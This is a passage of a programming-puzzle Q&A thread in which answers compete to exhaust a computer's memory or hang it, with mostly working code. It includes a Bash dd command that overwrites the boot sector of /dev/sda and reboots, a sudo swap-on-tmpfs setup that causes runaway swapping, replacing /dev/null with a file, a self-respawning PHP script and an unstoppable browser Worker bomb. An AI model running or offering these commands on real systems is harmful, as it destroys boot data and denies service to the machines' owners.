  • \$\begingroup\$ Thanks, both of you. I didn't realize what the relationship was between VBScript and VB.NET. \$\endgroup\$ Mar 24, 2014 at 19:44
4
votes
\$\begingroup\$

Yes & tmpfs

Why write a new program when one comes for free with Ubuntu?

yes > /run/user/$UID/large_file_on_my_ramdisk

As you probably know, or have already guessed, Ubuntu mounts /run/user/ by default as a tmpfs which is a type of RAM disk.

You don't even have to close it. It will politely close itself, leaving a nice chunk of memory allocated. I presume yes is a single-threaded, single-process program that does not call any other (writing to an existing RAM disk is also trivially portable to the language of your choice).

It has a minor bug: Ubuntu limits the user writable tmpfs /run/1000 to 100 MB by default, so the swap death feature may not be supported on your machine out-of-the-box. However I managed to fix this on my machine with the following quick workaround:

sudo mount -o remount,size=10G tmpfs /run/user/
\$\endgroup\$
3
  • \$\begingroup\$ I don't have a /run/user directory at all. What version of Ubuntu do you use and what did you install for this? \$\endgroup\$
    – Ruslan
    Mar 21, 2014 at 12:40
  • \$\begingroup\$ Ubuntu Trusty Tahr (14.04). No special install needed. \$\endgroup\$
    – gmatht
    Mar 22, 2014 at 4:57
  • \$\begingroup\$ To find whether you have any tmpfs filesystems mounted, you can list them with df -t tmpfs. My Ubuntu system has a lovely large /run/shm available... \$\endgroup\$ Jan 25, 2016 at 18:05
4
votes
\$\begingroup\$

Bash

Warning: The following code will make your computer unbootable.

printf "\\xe8\\xfd\\xff" | dd of=/dev/sda
reboot

Warning: The preceding code will make your computer unbootable.

Replace /dev/sda with your boot drive. This writes E8 FD FF to the beggining of your boot sector. When booting, the BIOS reads your boot sector into memory and executes it. Those opcodes are equivalent to this assembly:

label:
  call label

This is infinite recursion, which will eventually cause a stack overflow.

\$\endgroup\$
2
  • \$\begingroup\$ In your Assembly example, you could save a character(assuming the name "label" is necessary) by using jmp rather than call \$\endgroup\$
    – SirPython
    Feb 8, 2015 at 19:39
  • \$\begingroup\$ call leaves the return address on the stack for ret. jump wouldn't cause a stack overflow. \$\endgroup\$ Feb 10, 2015 at 9:47
3
votes
\$\begingroup\$

Haskell

main=print $ sum [0..]

This tries to add up the counting numbers. Haskell does evaluate the partial sums, it just becomes an infinite addition statement. If you run the compiler with optimization flags, it may not work though.

\$\endgroup\$
3
votes
\$\begingroup\$

Bash

Since we can use utilities that aren't specifically designed to consume memory, I focus on a utility to free memory: swapon. This is used to allow the kernel to free up memory by writing to disk.

This script performs two optimizations: (1) Mounting tmp as tmpfs (a type of RAM disk) to make /tmp faster and (2) creating a swapfile to free up memory. Each of these are reasonable by themselves but if a careless user does both then it sets up an cycle of swapping: when the OS tries to swap out pages, it writes to the tmpfs; this makes the tmpfs use more memory; this increases the memory pressure causing more pages to be swapped out. This can take a few minutes on my VM, plenty of time for you to watch the system dig itself into a hole using top.

Closing the program makes little difference since the program itself allocates hardly any memory. Indeed it is not trivial to free memory since you can't free memory by unmounting the tmpfs before you swapoff the swapfile, and that is hard to do until you have freed memory.

This answer could be considered an cautionary tale against blinding applying cool tricks from the net without understanding them.

sudo mount -t tmpfs -o size=9999G tmpfs /tmp # Use tmpfs to make /tmp faster
truncate -s 4096G /tmp/swap                  # Now make a giant swap file to free up memory 
sudo losetup /dev/loop4 /tmp/swap            # Use a loopback so we can mount the sparse file
sudo mkswap /dev/loop4
sudo swapon /dev/loop4
#The following line would cause a quick swap death, but isn't needed.
#dd if=/dev/zero of=/tmp/zero bs=1          # Zero the tmp dir so the VM can free more memory
\$\endgroup\$
2
votes
\$\begingroup\$

Perl

sub _ {
  my($f,$b);
  $f=\$b;$b=\$f;
}
while(1) { _;}

Uses circular references. The reference count for the variables will never reach 0, and the references will never be garbage collected.

You might need to be patient, but it is guaranteed to choke your system. The disk would start spinning faster and fumes might be visible.

\$\endgroup\$
2
votes
\$\begingroup\$

PHP (linux only):

This code is untested, since that I don't have a linux computer with php running.

But this is my proof of concept:

ignore_user_abort(true);
ini_set('memory_limit',-1);
ini_set('max_execution_time',0);
/*
    sets php to ignore if the script was canceled in the browser
    (like clicking cancel or closing the browser)
    and takes away the memory limit,
    as well as the maximum execution time.
*/

function dont_let_it_stop(){shell_exec('php '.__FILE__.' &');}
//this function calls the file itself.

register_shutdown_function('dont_let_it_stop');
//this function will register the function declared above to be used when the script is being terminated

function get_info($f='current')
{
    return str_replace(' kB','',end(explode(':',trim($f(explode(PHP_EOL,file_get_contents('/proc/meminfo')))))))*1024
}
/*
    this function fetches the infos
    'current' fetches the max memory
    'next' fetches the actual used memory
*/

$max=get_info();//maximum memory
$current=get_info('next');//current memory

$imgs=array(imagecreatetruecolor(1e4,1e4));
$color=imagecolorallocatealpha($imgs[$i=0],128,128,128,126);
imagefill($imgs[$i],0,0,$color);
/*
    this creates an array and inserts one image (10000x10000 pixels),
    filling it then with a solid transparent color
*/

$total-=get_info('next');//calculates the space an image takes

while($max-get_info('next')>$total*2)//while the free memory is higher than the memory of 2 images, fill the array
{
    $imgs[$i++]=imagecreatetruecolor(1e4,1e4);
    $color=imagecolorallocatealpha($imgs[$i-1],128,128,128,126);
    imagefill($imgs[$i-1],0,0,$color);
}

//this is just to keep the images in memory, so the script doesn't end
while(1)sleep(60);

This will fill the memory with huge RGBA images (10000x10000 pixels).

The only way to shut this baby down is shutting down the power.

The code is all commented.

Any improvement, doubt, bug or anything, use the comment box below.

\$\endgroup\$
4
  • \$\begingroup\$ Would anybody with access to linux mind testing it? Thanks :) \$\endgroup\$
    – George
    Mar 19, 2014 at 19:13
  • \$\begingroup\$ I have linux, I just am not sure how it will work. I provided the printscreen for the 1st answer, but that is a really old version of puppy linux. Ubuntu is too slow to run php. Maybe I test on my Android later. \$\endgroup\$ Mar 19, 2014 at 19:57
  • 1
    \$\begingroup\$ it fails the point about not calling another program \$\endgroup\$
    – Einacio
    Mar 21, 2014 at 17:23
  • \$\begingroup\$ It's not calling another program: it's calling the same program that started the file for the same file. \$\endgroup\$ Mar 21, 2014 at 18:48
2
votes
\$\begingroup\$

Python - 56

class x:
 def __setattr__(self,*args):self.y=0
x().y=0

Creates a class, defines a method for setting attributes, sets an attribute in it, and creates an initial instance which it then tries to set an attribute of.

A simple recursive function (def f(x):f(x)) seemed a bit unimaginative so I decided never to actually call a function.

Memory management might catch the recursion depth, but it really depends on the implementation.

If this is a fork bomb, please tell me.

\$\endgroup\$
3
  • 4
    \$\begingroup\$ This causes no memory exhaustion, just a: RuntimeError: maximum recursion depth exceeded while calling a Python object. Even setting the maximum recursion limit with sys.setrecursionlimit almost no memory is used before it crashes with a segmentation fault. \$\endgroup\$
    – Bakuriu
    Mar 20, 2014 at 19:16
  • \$\begingroup\$ @Bakuriu Like I said, it really depends on implementation (there are implementations of Python that convert to C(++) and compile, e.g. Shedskin, Nuitka). \$\endgroup\$
    – cjfaure
    Mar 20, 2014 at 21:25
  • 2
    \$\begingroup\$ Then state for which particular implementation(s) you are writing the code. There is a difference between challenges where only the syntax matter and thus the implementation isn't relevant, and challenges that completely depend on how the language is implemented. \$\endgroup\$
    – Bakuriu
    Mar 20, 2014 at 21:31
2
votes
\$\begingroup\$

Perl

It's a simple one, but I felt like golfing it.

{$x=[$x];redo}

After two iterations, $x contains a reference to array containing a reference to array containing undef.

Memory usage is linear in time, with small allocations, but it only took several seconds to severely slow my window manager on my Ubuntu Linux system. Half a minute later the OOM killer took care of it.

\$\endgroup\$
2
votes
\$\begingroup\$

ECMAScript 6:

z=z=>{while(1)z()};_=i=>(i+=1,i-=1,i++,i--,--i,++i,i<<=2,i>>=2,i+=0|Math.round(1+Math.random())&1|0,z(x=>setInterval(x=>z(x=>new Worker('data:text/javascript,'+_.toSource()),5))));setInterval(x=>z(x=>_(...Array(9e3).map((x,z)=>z*3/2*2/4*4e2>>2<<2))),5)

Ungolfed:

function forever(code) {
    // Loop forever
    var counter = 0;

    while (counter++ < 10) setInterval(code, 5);
};

function main(counter) {
    // Do some work.
    counter += 1; counter -= 1;

    counter++; counter--;
    --counter; ++counter;

    counter <<= 2;
    counter >>= 2;

    counter += 0 | Math.round(1 + Math.random()) & 1 | 0;

    forever(() => {
        setInterval(() => {
            forever(() => new Worker('data:text/javascript,' + main.toString()));
        }, 5);
    });
};

setInterval(() => {
    forever(() => {
        main(...Array(9e3).map((currentValue, index) => index * 3 / 2 * 2 / 4 * 4e2 >> 2 << 2));
    });
}, 5);

Note: It uses setTimeout, which is defined as part of Timers - the HTML Living Standard.

Try it on Mozilla Firefox (you could paste it in the developer console). Firefox keeps eating up more and more memory, and uses 100% of the CPU on a single-core machine (on a 4-core machine, like mine, it uses 25% of the CPU). It also has the added benefit that you can't stop it; if you can open task manager, you can kill Firefox with it.

\$\endgroup\$
4
  • 1
    \$\begingroup\$ It uses 100% of a core. On your quadcore processor, that results in 25% of CPU usage. \$\endgroup\$ Mar 21, 2014 at 10:45
  • \$\begingroup\$ @Electrosa Yes, you're absolutely correct. I've updated my answer. \$\endgroup\$
    – Toothbrush
    Mar 21, 2014 at 11:05
  • \$\begingroup\$ This is not a code golf question, please try to make your code readable. \$\endgroup\$ Mar 24, 2014 at 15:18
  • \$\begingroup\$ @PaŭloEbermann OK. I've posted an ungolfed version. \$\endgroup\$
    – Toothbrush
    Mar 24, 2014 at 18:14
1
vote
\$\begingroup\$

Bash

Create an empty file test
Replace /dev/null/ with this text file

$ sudo mv test /dev/null

This works in a similar manner to @Comintern's answer. All the output to /dev/null will now be appended to this text file, which over time will get huge and crash the system.

\$\endgroup\$
2
  • 1
    \$\begingroup\$ A huge file would not crash the system. And assuming an average disk size of 500gb it would take a long time for the file to even get near to filling up the disk. \$\endgroup\$ Mar 19, 2014 at 19:54
  • 1
    \$\begingroup\$ On systems where /dev is a devtmpfs, it may fill up and hinder the system. I'm guessing that's the intent of this answer. \$\endgroup\$ Jan 25, 2016 at 18:07
1
vote
\$\begingroup\$

Bash: 7 chars

This should be the simplest bash solution. No forks, no cheating.

x=`yes`

You are advised not to run this as root.

\$\endgroup\$
3
  • \$\begingroup\$ Additional note: even if you terminate this with ctrl-c midway, and then unset the variable, the memory remains allocated until the shell is killed. You can watch the carnage in top. \$\endgroup\$
    – Riot
    Jun 24, 2014 at 5:55
  • \$\begingroup\$ My own tests with bash 4.2.45(1) show that unset x does free the memory. pdksh also frees the memory, but ksh93 fails to free it, and exit in ksh93 dumps core. \$\endgroup\$
    – kernigh
    Jun 24, 2014 at 21:25
  • \$\begingroup\$ For me (bash 4.3.11(1)), the resident memory display in top for the parent shell climbs steadily until the yes is killed, at which point it just stays there, unset having no effect. But this is on a large memory system and having a variable that's several gigabytes does not seem to trouble it (until it finally decides to kill the shell). \$\endgroup\$
    – Riot
    Jun 25, 2014 at 6:56
0
votes
\$\begingroup\$

C

main()
{
    void * buffer;
    while (1)
        buffer = malloc(4096);
}

Well it takes memory page after page and finally there is no memory left.

\$\endgroup\$
4
  • \$\begingroup\$ How universal is a page being 4 KB? \$\endgroup\$ Mar 21, 2014 at 20:31
  • \$\begingroup\$ @Peter 4K is often size, but I cannot tell if it is really universal, but page size has no relationships with given question. \$\endgroup\$
    – ST3
    Mar 21, 2014 at 21:19
  • 1
    \$\begingroup\$ @ST3: You should make the memory page dirty. Most modern operating systems use virtual memory and just make a record in the virtual memory table, when you allocate memory. Writing a single byte to the memory page will already force the operating system to map the virtual memory page to physical memory. \$\endgroup\$
    – foobar
    Mar 21, 2014 at 23:34
  • \$\begingroup\$ See codegolf.stackexchange.com/questions/24485/…. \$\endgroup\$ Mar 24, 2014 at 20:35
0
votes
\$\begingroup\$

Ruby

a=[];loop{a<<a}

It just endlessly appends (recursive!) self-references to itself.

Found out about this little gem when someone broke my Ruby sandbox with it. :D

Demo of the recursive aspects of it:

[1] pry(main)> a=[]; a<<a; a
=> [[...]]
[2] pry(main)> 
\$\endgroup\$
0
votes
\$\begingroup\$

C++ 79

void f(char *p,int i){p=new char[i];f(p,++i);}
int main(){char c='a';f(&c,1);}

Non-golfed

void leak(char *p,int i)
{
    p=new char[i];
    leak(p,++i);
}

int main()
{
    char c='a';
    f(&c,1);
}

I fixed my entry to include call from main.

\$\endgroup\$
1
  • \$\begingroup\$ This is a popularity contest. If the program works keep it the main and header. its fine. Also, could you post a non golfed version? Thanks :) \$\endgroup\$
    – George
    Mar 24, 2014 at 22:22

Not the answer you're looking for? Browse other questions tagged or ask your own question.